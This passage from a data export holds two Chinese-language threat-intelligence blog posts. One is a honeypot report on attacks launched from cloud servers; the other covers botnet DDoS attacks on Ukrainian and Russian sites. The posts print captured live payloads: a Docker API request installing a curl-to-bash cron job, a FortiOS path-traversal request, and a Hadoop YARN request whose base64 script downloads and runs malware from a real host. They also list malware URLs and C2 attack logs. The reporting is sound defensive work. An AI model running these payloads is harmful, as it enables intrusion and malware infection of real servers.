http://107.189.3.150/b2f628/cronb.sh|bash\\\"\\u003e/etc/cron.d/zzh\"],\"Image\":\"alpine\",\"Volumes\":{},\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":{},\"HostConfig\":{\"Binds\":[\"/:/mnt\"],\"ContainerIDFile\":\"\",\"LogConfig\":{\"Type\":\"\",\"Config\":{}},\"NetworkMode\":\"default\",\"PortBindings\":{},\"RestartPolicy\":{\"Name\":\"no\",\"MaximumRetryCount\":0},\"AutoRemove\":true,\"VolumeDriver\":\"\",\"VolumesFrom\":null,\"CapAdd\":null,\"CapDrop\":null,\"Dns\":[],\"DnsOptions\":[],\"DnsSearch\":[],\"ExtraHosts\":null,\"GroupAdd\":null,\"IpcMode\":\"\",\"Cgroup\":\"\",\"Links\":null,\"OomScoreAdj\":0,\"PidMode\":\"\",\"Privileged\":false,\"PublishAllPorts\":false,\"ReadonlyRootfs\":false,\"SecurityOpt\":null,\"UTSMode\":\"\",\"UsernsMode\":\"\",\"ShmSize\":0,\"ConsoleSize\":[0,0],\"Isolation\":\"\",\"CpuShares\":0,\"Memory\":0,\"NanoCpus\":0,\"CgroupParent\":\"\",\"BlkioWeight\":0,\"BlkioWeightDevice\":null,\"BlkioDeviceReadBps\":null,\"BlkioDeviceWriteBps\":null,\"BlkioDeviceReadIOps\":null,\"BlkioDeviceWriteIOps\":null,\"CpuPeriod\":0,\"CpuQuota\":0,\"CpuRealtimePeriod\":0,\"CpuRealtimeRuntime\":0,\"CpusetCpus\":\"\",\"CpusetMems\":\"\",\"Devices\":[],\"DiskQuota\":0,\"KernelMemory\":0,\"MemoryReservation\":0,\"MemorySwap\":0,\"MemorySwappiness\":-1,\"OomKillDisable\":false,\"PidsLimit\":0,\"Ulimits\":null,\"CpuCount\":0,\"CpuPercent\":0,\"IOMaximumIOps\":0,\"IOMaximumBandwidth\":0},\"NetworkingConfig\":{\"EndpointsConfig\":{}}}\n```\n\n攻击源IP集中在腾讯云和阿里云，这两个云服务商占所有云服务器攻击源的约87%。\n\n<a href=\"__GHOST_URL__/content/images/2022/02/image-20220215113511032.png\"><img src=\"__GHOST_URL__/content/images/2022/02/image-20220215113511032.png\" class=\"kg-image\"/></a>\n\n### 2.2 美国飞塔（Fortinet）FortiOS未授权任意文件读取漏洞（CVE-2018-13379）\n\n在设备登录界面，请求相应语言文件时，服务器端通过提供的lang参数构建JSON语言文件路径：snprintf(s, 0x40, \"/migadmin/lang/%s.json\", lang)。没有对lang参数进行特殊字符过滤，通过添加文件扩展名.json，控制读取JSON文件。但snprintf函数最多将size-1的字符串写到目标缓冲区。因此当lang参数拼接后长度超过size-1时，.json将被strip掉，最终导致可读取任意文件。\n\n```\n/data/config/sys_global.conf.gz\n/data/config/sys_vd_root.conf.gz\n/data/config/global_system_interface.gz\n/data/config/vd_root_firewall_policy.gz\n/data/config/sys_vd_root%2broot.conf.gz\n/dev/cmdb/sslvpn_websession\n```\n\n该漏洞的攻击数据包的目的端口较为分散，TCP/8443、TCP/9443和TCP/4443的攻击数据包相对较多。\n\n<a href=\"__GHOST_URL__/content/images/2022/02/image-20220216175426189.png\"><img src=\"__GHOST_URL__/content/images/2022/02/image-20220216175426189.png\" class=\"kg-image\"/></a>\n\n漏洞主要的攻击URI及所占百分比如下：\n```\n/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession (62%)\n///remote/fgt_lang?lang=/../../../..//////////dev/ (38%)\n```\n\n漏洞攻击Payload：\n```http\nGET /remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession HTTP/1.1\nAccept-Encoding: identity\nHost: {target}\nUser-Agent: Python-urllib/3.9\nConnection: close\n```\n\n这个漏洞的云服务器攻击源IP有超过90%都来源于亚马逊AWS，同样非常集中。\n\n<a href=\"__GHOST_URL__/content/images/2022/02/image-20220215141225734.png\"><img src=\"__GHOST_URL__/content/images/2022/02/image-20220215141225734.png\" class=\"kg-image\"/></a>\n\n## 3. 云上资产对外发起扫描攻击情况\n\n2022年1月，共发现26个对外发起扫描攻击的国内重要政府和企事业单位的云上资产，其中事业单位和政府机关占90%，云服务商主要为阿里云。以下介绍来自其中两个单位的情况。如果需要更多相关资料，请根据文末的联系方式与我们联系。\n\n一个IP属于阿里云的39.96.91.\\*，IP地理位置位于北京，属于航天系统与导航相关的某个重要研究单位，在1月17号对蜜罐系统发起了SSH暴力破解：\n\n```\nSSH-2.0-libssh_0.9.6\nknockknockwhosthere\nknockknockwhosthere \n```\n\n直接用浏览器访问IP地址可以进入单位主页：\n\n<a href=\"__GHOST_URL__/content/images/2022/02/image-20220217144404532.png\"><img src=\"__GHOST_URL__/content/images/2022/02/image-20220217144404532.png\" class=\"kg-image\"/></a>\n\n另一个是阿里云47.108.242.\\*，IP地址位于四川成都，属于某县级人民医院。直接用浏览器访问这个IP地址，可以进入该医院的核酸检测结果查询系统。\n\n<a href=\"__GHOST_URL__/content/images/2022/02/image-20220216183457994.png\"><img src=\"__GHOST_URL__/content/images/2022/02/image-20220216183457994.png\" class=\"kg-image\"/></a>\n\n这个IP利用了Hadoop YARN ResourceManager未授权访问漏洞、Laravel Debug模式RCE漏洞（CVE-2021-3129）和ThinkPHP RCE漏洞。传播了Linux系统的木马下载器（TrojanDownloader）类恶意软件，恶意软件下载URL为：\n```\nhttp://194.145.227.21/ldr.sh\n```\n\nHadoop YARN ResourceManager未授权访问漏洞的Payload：\n\n```\nPOST /ws/v1/cluster/apps HTTP/1.1\nHost: {target}:8088\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:83.0) Gecko/20100101 Firefox/83.0\nContent-Length: 3302\nAccept: */*\nAccept-Language: en-US,en;q=0.5\nConnection: close\nContent-Type: application/json\nAccept-Encoding: gzip\n\n{\n\"application-id\": \"application_1526990652950_72948\",\n\"application-name\": \"eqtrl5an\",\n\"am-container-spec\": { \"commands\": { \"command\": \"echo Yz1odHRwOi8vMTk0LjE0NS4yMjcuMjEvbGRyLnNoP2Y5ZWRhYQpleHBvcnQgUEFUSD0kUEFUSDovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW4KCmZvciBpIGluICQocHMgLWVmIHwgZ3JlcCBhdGxhc3NpYW4gfCBhd2sgJ3twcmludCAkMn0nKTsgZG8KICBpZiBscyAtYWwgL3Byb2MvJGkgfCBncmVwIGV4ZSB8IGdyZXAgIi91c3IvYmluL3BlcmxcfC9kZXYvc2htIjsgdGhlbgogICAga2lsbCAtOSAkaQogIGZpCmRvbmUKCnBraWxsIC05IHJ1bXBvc3RncmVzd2sKcGtpbGwgLTkgLWYgJ1wuL1wuJwpwa2lsbCAtOSAtZiAnL3RtcC9cLicKcGtpbGwgLTkgLWYga2VybmVseApwa2lsbCAtOSAtZiBwb3N0Z3Jlcy1zeXN0ZW0KCnBraWxsIC05IC1mIHBvc3RncmVzLWtlcm5lbAoKaWYgWyAhIC14ICIkKGNvbW1hbmQgLXYgY3VybCkiIC1hICEgLXggIiQoY29tbWFuZCAtdiB3Z2V0KSIgXTsgdGhlbgogIGNkIC90bXAgfHwgY2QgL3Zhci90bXAKICBjaGF0dHIgLWkgZDsgY2hhdHRyIC1pIGRscjsgcm0gLXJmIGQgZGxyCiAgZWNobyBmMFZNUmdFQkFRQUFBQUFBQUFBQUFBSUFBd0FCQUFBQUpJTUVDRFFBQUFETUF3QUFBQUFBQURRQUlBQURBQ2dBQlFBRUFBRUFBQUFBQUFBQUFJQUVDQUNBQkFpckF3QUFxd01BQUFVQUFBQUFFQUFBQVFBQUFLd0RBQUNza3dRSXJKTUVDQUFBQUFBRUFBQUFCZ0FBQUFBUUFBQlI1WFJrQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBR0FBQUFCQUFBQUZXSjVRKzJWUWdQdGtVTUQ3Wk5FTUhpR01IZ0VBbkNEN1pGRk1IaENGMEp3Z25SaWNxSnlJSGlBUDhBQU1IaUNNSGdHQW5RaWNxQjRRQUEvd0RCNmhqQjZRZ0p5Z25RdzFXSjVZUHNFUDkxQ0dvQjZFUUNBQUNEeEJESncxV0o1WVBzRVA5MUNHb0c2QzhDQUFESncxV0o1WVBzQ1A5MUVQOTFEUDkxQ0dvRjZCY0NBQURKdzFXSjVZUHNISXRGQ0lsRjlJdEZESWxGK0l0RkVJbEYvSTFGOUZCcUEycG02UEFCQUFESncxV0o1WVBzQ1A5MUVQOTFEUDkxQ0dvRTZOZ0JBQURKdzFXSjVZUHNDUDkxRVA5MURQOTFDR29ENk1BQkFBREp3MVdKNVlQc0hJdEZDSWxGOUl0RkRJbEYrSXRGRUlsRi9JMUY5RkJxQVdwbTZKa0JBQURKdzFXNGZZTUVDSW5sVjFaVGdleXNBQUFBNndGQWdEZ0FkZm90ZllNRUNJbUZVUC8vLzFCcUFtaURnd1FJYWdIb2R2Ly8vMm9WYU9NQUFBQm9rUUFBQUdqQ0FBQUFac2RGNEFJQVpzZEY0Z0JRNktiKy8vK0R4QnhvL3dFQUFHaEJBZ0FBYUlhREJBaUpSZVRvKy83Ly80UEVER29BYWdGcUFvbkg2RnIvLy8rRHhCQ0QrUCtKeG5RRmcvLy9kUTJEN0F4cUFlaXIvdi8vZzhRUVVHb1FqVVhnVUZibzJ2Ny8vNFBFRUlYQWljTjVIRkQzMjJvQmFJcURCQWhxQWVqbi92Ly9pUndrNkhuKy8vK0R4QkNMblZELy8vOVFnOE1YVTJpTWd3UUlWdWpHL3YvL2c4UVFPZGgwRFlQc0RHb0Q2RS8rLy8rRHhCQXgyMUJxQVkxRjgxQlc2THYrLy8rRHhCQklkQTJEN0F4cUJPZ3Qvdi8vZzhRUUQ3NUY4OEhqQ0FuRGdmc0tEUW9OZGM5UmFJQUFBQUNObldELy8vOVRWdWlFL3YvL2c4UVFoY0IrRGxKUVUxZm9YUDcvLzRQRUVPdllnK3dNVnVqOS9mLy9pVHdrNlBYOS8vK0R4QXhxQVdpcGd3UUlhZ0hvTmY3Ly84Y0VKQVVBQUFEb3cvMy8vNFBFRUkxbDlGdGVYMTNEVllubFhlbHMvdi8va0pDUVZWZFdVNHRzSkN5TGZDUW9pM1FrSkl0VUpDQ0xUQ1FjaTF3a0dJdEVKQlROZ0Z0ZVgxMDlBZkQvL3crREFRQUFBTU9EN0F5Snd2ZmE2QWtBQUFDSkVJUEkvNFBFRE1PNHJKTUVDTU5oYldRMk5BQWpDZ0JrYkhJQVB3QkhSVlFnTDJOMWNtd3RZVzFrTmpRZ1NGUlVVQzh4TGpBTkNnMEtBQ01BQUFBdWMyaHpkSEowWVdJQUxuUmxlSFFBTG5KdlpHRjBZUUF1WW5OekFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFzQUFBQUJBQUFBQmdBQUFKU0FCQWlVQUFBQTZRSUFBQUFBQUFBQUFBQUFCQUFBQUFBQUFBQVJBQUFBQVFBQUFESUFBQUI5Z3dRSWZRTUFBQzRBQUFBQUFBQUFBQUFBQUFFQUFBQUJBQUFBR1FBQUFBZ0FBQUFEQUFBQXJKTUVDS3dEQUFBRUFBQUFBQUFBQUFBQUFBQUVBQUFBQUFBQUFBRUFBQUFEQUFBQUFBQUFBQUFBQUFDc0F3QUFIZ0FBQUFBQUFBQUFBQUFBQVFBQUFBQUFBQUE9fGJhc2U2NCAtZCA+IGQKICBjaG1vZCAreCBkOyAuL2R8fC4vZDsgcm0gLWYgZDsgY2htb2QgK3ggZGxyCmZpCgooY3VybCAkYyB8fCBjdXJsICRjIHx8IHdnZXQgLXEgLU8tICRjIHx8IGN1cmwgLWsgJGMgfHwgY3VybCAtayAkYyB8fCB3Z2V0IC0tbm8tY2hlY2stY2VydGlmaWNhdGUgLXEgLU8tICRjIHx8IC4vZGxyICRjIHx8IC4vZGxyICRjKXxzaAo=|base64 -d|sh\" } },\n\"application-type\": \"YARN\"\n}\n```\n\n## 4. 1月云服务器发起攻击总体情况\n\n2022年1月，360网络安全研究院 Anglerfish蜜罐系统共监测到67373个全球主流云服务器发送的网络会话1.57亿次，较12月有所上升。其中有漏洞扫描和攻击行为的IP 19356个，暴力破解行为的IP 11358个，传播恶意软件的IP 5148个。腾讯云、DigitalCloud、阿里云、亚马逊AWS和微软Azure是源IP数量前5名的云服务提供商。DigitalOcean的IP由于暴力破解多，所以总会话数量最多。\n\n<a href=\"__GHOST_URL__/content/images/2022/02/image-20220215103118486.png\"><img src=\"__GHOST_URL__/content/images/2022/02/image-20220215103118486.png\" class=\"kg-image\"/></a>\n\n发起漏洞攻击的IP数量如上图所示，Redis漏洞仍然是云服务器相关攻击中最多被使用的漏洞。1月份Docker Remote API未授权访问漏洞的攻击源IP数量明显增加，排在第三位。\n\n<a href=\"__GHOST_URL__/content/images/2022/02/image-20220215105954323.png\"><img src=\"__GHOST_URL__/content/images/2022/02/image-20220215105954323.png\" class=\"kg-image\"/></a>\n\n恶意软件传播情况如图所示，阿里云、腾讯云和DigitalOcean传播恶意软件的源IP最多。\n\n<a href=\"__GHOST_URL__/content/images/2022/02/image-20220215172608250.png\"><img src=\"__GHOST_URL__/content/images/2022/02/image-20220215172608250.png\" class=\"kg-image\"/></a>\n\n恶意挖矿类恶意软件仍然是云服务器传播最多的恶意软件类型。\n\n<a href=\"__GHOST_URL__/content/images/2022/02/image-20220215185703567.png\"><img src=\"__GHOST_URL__/content/images/2022/02/image-20220215185703567.png\" class=\"kg-image\"/></a>\n\n以下的下载服务器域名或IP被多于100个云服务器攻击源IP使用。\n\n<a href=\"__GHOST_URL__/content/images/2022/02/image-20220217151446513.png\"><img src=\"__GHOST_URL__/content/images/2022/02/image-20220217151446513.png\" class=\"kg-image\"/></a>\n\n在传播垃圾和钓鱼邮件方面，有一个位于荷兰的LeaseWeb的服务器213.227.155.122发送了182封垃圾邮件，全部为以下内容：\n\n```\nDear Sir/Ma,\n\nHow are you doing today,I hope you are in good health. I have intended to lay down your name as the beneficiary of an overdue inheritance fund here in a china bank where I work as a banker. Also I want to invest part of this fund in your country under your supervision. Kindly get back to me for further details on the project of mutual benefit.\n\nYours Sincerely,\nFund Allocation Officer.\nEcitic Bank of China.\n```\n\n在密码爆破攻击方面，被爆破攻击的协议主要集中在SSH、Telnet、FTP、PostgreSQL，此外HTTP协议的一些服务，例如亿联Servlet、phpMyAdmin等也有一些爆破攻击。\n\n<a href=\"__GHOST_URL__/content/images/2022/02/image-20220215141932642.png\"><img src=\"__GHOST_URL__/content/images/2022/02/image-20220215141932642.png\" class=\"kg-image\"/></a>\n\nDigitalOcean的爆破攻击IP数量和会话数量都位居首位，随后是腾讯云、阿里云和亚马逊AWS。\n\n<a href=\"__GHOST_URL__/content/images/2022/02/image-20220215142435758.png\"><img src=\"__GHOST_URL__/content/images/2022/02/image-20220215142435758.png\" class=\"kg-image\"/></a>\n\n## 5. 防护建议\n\n本月Docker Remote API未授权访问漏洞的攻击数量有明显增加，建议云上的Docker用户做好以下防护措施：\n1）除非业务必要，在公网上关闭TCP/2375、TCP/2376端口。\n2）对TCP/2375、TCP/2376端口设置严格的访问规则，并要求使用TLS加密。\n3）升级至最新的Docker版本\n4）在云安全产品中接入准确率高的威胁情报。\n\n## 6. 联系我们\n\n感兴趣的读者，可以通过邮箱netlab[at]360.cn联系我们。\n\n## 7. IoC List\n\nURL：\n\n```\nhttp://oracle.zzhreceive.top/b2f628/cronb.sh\nhttp://oracle.zzhreceive.top/b2f628fff19fda999999999/cronis.sh\nhttp://58.226.35.74/tmate\nhttp://58.226.35.74/midd.jpg\nhttp://194.38.20.242/d.sh\nhttp://194.38.20.242/kinsing\nhttp://oracle.zzhreceive.top/b2f628fff19fda999999999/dk.sh\nhttp://oracle.zzhreceive.top/b2f628/dkb.sh\nhttp://oracle.zzhreceive.top/b/apa.jpg\n```\n\nmd5:\n\n```\nfcdfd7cc3ba35aec23dd39038b161f41\nf1c1406a1713f3213276aee6f2f4d0ee\n84a5ad559fb6214ed41ab6d5148e6fa2\n10ac30ebbed68584400f8ccd814e2a60\n1499f91b33a02f33a82c7fd756f445f7\na06f97d208b2dce7f5373538d840fe4f\n429df5b7a8c2e3852dddf73df2bcdd3a\n896218a845b85c6e6c7260f3ded1c7d5\n0d8d3a2e0dcd7031b67707e446799d61\n8f90ab85461c0e37b687e7365dc095f5\n```"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"} | 620ca4024257f30007fd02cd |
post | null | 2022-02-17T07:03:42.000Z | 63873b9a8b1c1e0007f5300a | wo-men-kan-dao-de-wu-ke-lan-bei-ddosgong-ji-xi-jie | 0 | 2022-02-25T16:21:50.000Z | public | published | null | 2022-02-25T08:55:10.000Z | 我们近期看到的针对乌克兰和俄罗斯的DDoS攻击细节 | <!--kg-card-begin: markdown--><p>在360Netlab（netlab.360.com），我们持续的通过我们的 BotMon 系统跟踪全球范围内的僵尸网络。特别的，对于DDoS 相关的僵尸网络，我们会进一步跟踪其内部指令，从而得以了解攻击的细节，包括攻击者是谁、受害者是谁、在什么时间、具体使用什么攻击方式。<br>
最近俄乌局势紧张，双方的多个政府、军队和金融机构都遭到了DDoS攻击，我们也不断接收到安全社区的询问，咨询对于最近乌克兰和俄罗斯相关网站 (.ua .ru下属域名）遭受DDoS攻击的具体情况，因此我们特意整理相关数据供安全社区参考。</p>
<h2 id="ddos">针对乌克兰的DDoS攻击</h2>
<p>下图是我们看到的针对域名以<code>.gov.ua</code>结尾的政府网站的攻击趋势。</p>
<p><img src="__GHOST_URL__/content/images/2022/02/atk_ua_trend2.png" alt="atk_ua_trend2" loading="lazy"></p>
<p>可以看到攻击最早始于2月12号，攻击数量和强度都在持续变大，在2月16日达到顶峰，攻击类型则混合了NTP放大、UDP/STD/OVH flood等多种类型</p>
<p>下图是我们看到的针对另一个以<code>.ua</code>结尾的网站“online.oschadbank.ua”的DDoS攻击。</p>
<p><img src="__GHOST_URL__/content/images/2022/02/atk_to_oschadbank.png" alt="atk_to_oschadbank" loading="lazy"></p>
<p>可以看到攻击开始自2月15日，持续了3天。值得注意的是攻击这个网站的C2 mirai_5.182.211.5 2月11号上线，从2022-02-16 03:02:37+08:00发出第一条攻击指令始到2022-02-17 01:08:27+08:00最后一条指令，它只攻击了185.34.x.x/24这个网段的IP，而这些IP均属于“online.oschadbank.ua”。</p>
<p>我们捕获的针对<code>.ua</code>网站的DDoS攻击，除了NTP反射放大攻击外，其它的均跟botnet有关，涉及Mirai、Gafgyt、ripprbot、moobot和ircBot等5个家族的10多个C2。因为这些家族业界相关分析已经很多，这里不再赘述，只罗列下我们捕获到的样本和跟踪到的C2指令。除第一个C2自上线以来只用来攻击“oschadbank.ua”相关的几个子站，其他的C2攻击了不同国家的多个目标。限于篇幅，下面罗列首先出现的4个C2。</p>
<h3 id="1mirai_51822115">1，mirai_5.182.211.5</h3>
<p>前面已经说过，该C2在其活跃期间（2022-02-11~2022-02-17）只攻击了“online.oschadbank.ua”这一个目标。我们的蜜罐从2月11日到2月14日曾持续捕获到它的样本，部分URL和MD5对应如下：</p>
<pre><code>e5822f8f9bc541e696f5520b9ad0e627 http://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.i486
39532b27e2dbd9af85f2da7ff4519467 http://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.mpsl
69b51b792b1fca9a268ce7cc1e1857df http://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.mips
70aaa4746150eba8439308096b17d8cc http://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.arm
68ed4532bd6ad79f263715036dee6021 http://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.m68k
54bd85b40041ba82ae1b57664ee3e958 http://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.arc
1b7247a2049da033a94375054829335d http://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.i686
ac4d8d0010775e185e12604c0e304685 http://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.x86_64
0eca53a2dca6384b7b1b7de186e835b5 http://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.sh4
cc79916e1e472a657a9ae216b2602a7b http://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.arm5
8f488f3218baec8b75dc6e42e5c90a47 http://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.arm6
b307dd0043e94400f8632c4d0c4eae0e http://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.arm7
340255b25edf28c8de140f3f00306773 http://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.spc
e2b103a3b74dd0bfd98ffd27ed07f2c6 http://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.x86
</code></pre>
<p>样本为Mirai变种，具有较强的Mirai代码特征，保留了table_init()、attack_init()等典型的Mirai函数。下面是我们跟踪到的指令：</p>
<pre><code>2022-02-16 21:27:44+08:00 mirai 5.182.211.5 60195 ddos atk_7 185.34.224.121 atk_time=600,netmask=32,/wb/api/v2/session,post,{login:rrre,password:vvv,captcha:},443,online.oschadbank.ua,affected=online.oschadbank.ua
2022-02-16 21:19:04+08:00 mirai 5.182.211.5 60195 ddos atk_7 185.34.224.121 atk_time=600,netmask=32,online.oschadbank.ua,/wb/api/v2/session,post,{login:rrre,password:vvv,captcha:}
2022-02-16 21:06:14+08:00 mirai 5.182.211.5 60195 ddos atk_5 185.34.224.121 atk_time=600,netmask=32,109.110.75.23,443,1,1,1,affected=online.oschadbank.ua
2022-02-16 19:17:12+08:00 mirai 5.182.211.5 60195 ddos atk_5 185.34.224.121 atk_time=1200,netmask=32,1,109.254.6.88,443,1,1,affected=online.oschadbank.ua
2022-02-16 18:55:07+08:00 mirai 5.182.211.5 60195 ddos atk_5 185.34.224.121 atk_time=1200,netmask=32,1,93.188.39.70,443,1,1,affected=online.oschadbank.ua
2022-02-16 18:34:18+08:00 mirai 5.182.211.5 60195 ddos atk_5 185.34.224.121 atk_time=1200,netmask=32,91.206.111.88,443,1,1,1,affected=online.oschadbank.ua
2022-02-16 18:15:23+08:00 mirai 5.182.211.5 60195 ddos atk_5 185.34.224.121 atk_time=1200,netmask=32,78.26.168.101,443,1,1,1,affected=online.oschadbank.ua
2022-02-16 17:55:35+08:00 mirai 5.182.211.5 60195 ddos atk_5 185.34.224.121 atk_time=1200,netmask=32,195.182.202.20,443,1,1,1,affected=online.oschadbank.ua
2022-02-16 17:39:01+08:00 mirai 5.182.211.5 60195 ddos atk_5 185.34.224.121 atk_time=900,netmask=32,443,1,1,1,37.115.24.108,affected=online.oschadbank.ua
2022-02-16 17:24:37+08:00 mirai 5.182.211.5 60195 ddos atk_5 185.34.224.121 atk_time=900,netmask=32,78.31.254.20,443,1,1,1,affected=online.oschadbank.ua
2022-02-16 17:24:37+08:00 mirai 5.182.211.5 60195 ddos atk_5 185.34.224.121 atk_time=900,netmask=32,78.31.254.20,443,1,1,1,affected=online.oschadbank.ua
2022-02-16 16:48:55+08:00 mirai 5.182.211.5 60195 ddos atk_5 185.34.224.121 atk_time=900,netmask=32,443,1,1,1,249,46.219.126.90,affected=online.oschadbank.ua
2022-02-16 13:41:41+08:00 mirai 5.182.211.5 60195 ddos atk_5 185.34.224.121 atk_time=120,netmask=32,255.255.255.255,443,1,affected=online.oschadbank.ua
2022-02-16 13:25:49+08:00 mirai 5.182.211.5 60195 ddos atk_5 185.34.224.121 atk_time=120,netmask=32,255.255.255.255,443,1,affected=online.oschadbank.ua
2022-02-16 13:23:33+08:00 mirai 5.182.211.5 60195 ddos atk_6 185.34.224.121 atk_time=120,netmask=32,255.255.255.255,443,affected=online.oschadbank.ua
2022-02-16 11:06:32+08:00 mirai 5.182.211.5 60195 ddos atk_5 185.34.224.121 atk_time=10800,netmask=32,255.255.255.255,443,affected=online.oschadbank.ua
2022-02-16 05:04:45+08:00 mirai 5.182.211.5 60195 ddos atk_5 185.34.224.121 atk_time=21600,netmask=32,255.255.255.255,443,affected=online.oschadbank.ua
2022-02-16 01:02:32+08:00 mirai 5.182.211.5 60195 ddos atk_5 185.34.224.121 atk_time=7200,netmask=32,255.255.255.255,443,affected=online.oschadbank.ua
2022-02-15 23:00:06+08:00 mirai 5.182.211.5 60195 ddos atk_5 185.34.224.121 atk_time=7200,netmask=32,255.255.255.255,443,affected=online.oschadbank.ua
2022-02-15 21:00:08+08:00 mirai 5.182.211.5 60195 ddos atk_5 185.34.224.121 atk_time=7200,netmask=32,255.255.255.255,443,affected=online.oschadbank.ua
2022-02-15 20:01:13+08:00 mirai 5.182.211.5 60195 ddos atk_5 185.34.224.121 atk_time=3600,netmask=32,255.255.255.255,443,affected=online.oschadbank.ua
2022-02-15 18:55:36+08:00 mirai 5.182.211.5 60195 ddos atk_5 185.34.224.121 atk_time=3600,netmask=32,255.255.255.255,443,affected=online.oschadbank.ua
2022-02-15 18:30:32+08:00 mirai 5.182.211.5 60195 ddos atk_5 185.34.224.121 atk_time=1800,netmask=32,255.255.255.255,443,affected=online.oschadbank.ua
2022-02-15 18:08:50+08:00 mirai 5.182.211.5 60195 ddos atk_0 185.34.224.121 atk_time=600,netmask=32,,affected=online.oschadbank.ua
2022-02-15 17:42:26+08:00 mirai 5.182.211.5 60195 ddos atk_7 185.34.224.121 atk_time=600,netmask=32,online.oschadbank.ua,affected=online.oschadbank.ua
</code></pre>
<h3 id="2mirai_20914133208">2，mirai_209.141.33.208</h3>
<p>该C2的样本1月25日便已经出现，样本捕获情况如下图所示。</p>
<p><img src="__GHOST_URL__/content/images/2022/02/sam_capture_209.141.33.208.png" alt="sam_capture_209.141.33.208" loading="lazy"></p>
<p>它在16日攻击了“www.szru.gov.ua” 网站：</p>
<pre><code>2022-02-16 05:35:38+08:00 mirai 209.141.33.208 209.141.33.208 9999 atk_2 193.109.8.66 80 {'netmask': 32,'flags': [{'fid': 7,'value': b'80'}]},affected=www.szru.gov.ua
</code></pre>
<h3 id="3gafgyt_1722456134">3，gafgyt_172.245.6.134</h3>
<p>该C2的样本最早1月29日开始传播，样本捕获情况如下图所示。<br>
<img src="__GHOST_URL__/content/images/2022/02/sam_capture_172.245.6.134.png" alt="sam_capture_172.245.6.134" loading="lazy"></p>
<p>下面是我们跟踪到的指令：</p>
<pre><code>2022-02-17 01:46:30+08:00 gafgyt 172.245.6.134 61108 ddos OVH 213.156.91.92 uri=/,OVH,213.156.91.92,443,30,1024,affected=mail.uss.gov.ua
2022-02-17 00:08:31+08:00 gafgyt 172.245.6.134 61108 ddos OVH 193.17.44.246 uri=/,OVH,193.17.44.246,443,60,1024,affected=bank.gov.ua
2022-02-17 00:07:40+08:00 gafgyt 172.245.6.134 61108 ddos HEX 193.17.44.146 uri=/,HEX,193.17.44.146,443,60,affected=bank.gov.ua
2022-02-16 22:19:04+08:00 gafgyt 172.245.6.134 61108 ddos OVH 193.17.44.246 uri=/,OVH,193.17.44.246,443,200,1024,affected=bank.gov.ua
2022-02-16 22:18:33+08:00 gafgyt 172.245.6.134 61108 ddos OVH 193.17.44.146 uri=/,OVH,193.17.44.146,443,200,1024,affected=bank.gov.ua
2022-02-16 22:07:34+08:00 gafgyt 172.245.6.134 61108 ddos HEX 193.109.8.66 uri=/,HEX,193.109.8.66,80,60,affected=www.szru.gov.ua
2022-02-16 22:01:44+08:00 gafgyt 172.245.6.134 61108 ddos HEX 193.17.44.146 uri=/,HEX,193.17.44.146,80,30,1024,affected=bank.gov.ua
2022-02-16 21:57:02+08:00 gafgyt 172.245.6.134 61108 ddos OVH 193.17.44.246 uri=/,OVH,193.17.44.246,443,60,1024,affected=bank.gov.ua
2022-02-16 21:53:16+08:00 gafgyt 172.245.6.134 61108 ddos OVH 193.17.44.246 uri=/,OVH,193.17.44.246,443,60,1024,affected=bank.gov.ua
2022-02-16 21:46:41+08:00 gafgyt 172.245.6.134 61108 ddos HEX 193.29.204.11 uri=/,HEX,193.29.204.11,443,120,affected=www.president.gov.ua
2022-02-16 21:44:41+08:00 gafgyt 172.245.6.134 61108 ddos HEX 195.78.68.7 uri=/,HEX,195.78.68.7,80,120,affected=mova-ombudsman.gov.ua
2022-02-16 05:35:27+08:00 gafgyt 172.245.6.134 61108 ddos HEX 193.109.8.66 uri=/,HEX,193.109.8.66,80,20,affected=fisu.gov.ua
</code></pre>
<h3 id="4gafgyt_1881272375">4，gafgyt_188.127.237.5</h3>
<p>该C2的样本在2月6日被捕获，它在2月16日攻击了“od.tax.gov.ua”网站：</p>
<pre><code>2022-02-16 01:54:00+08:00 gafgyt 188.127.237.5 606 STDHEX 193.200.32.26 STDHEX,193.200.32. 26,80,120,affected=od.tax.gov.ua
</code></pre>
<h2 id="ddos">针对俄罗斯的DDoS攻击</h2>
<p>下图是我们看到的针对以<code>.ru</code>结尾的俄罗斯政府和军队网站的攻击。</p>
<p><img src="__GHOST_URL__/content/images/2022/02/--2022-02-25-23.57.33.png" alt="--2022-02-25-23.57.33" loading="lazy"></p>
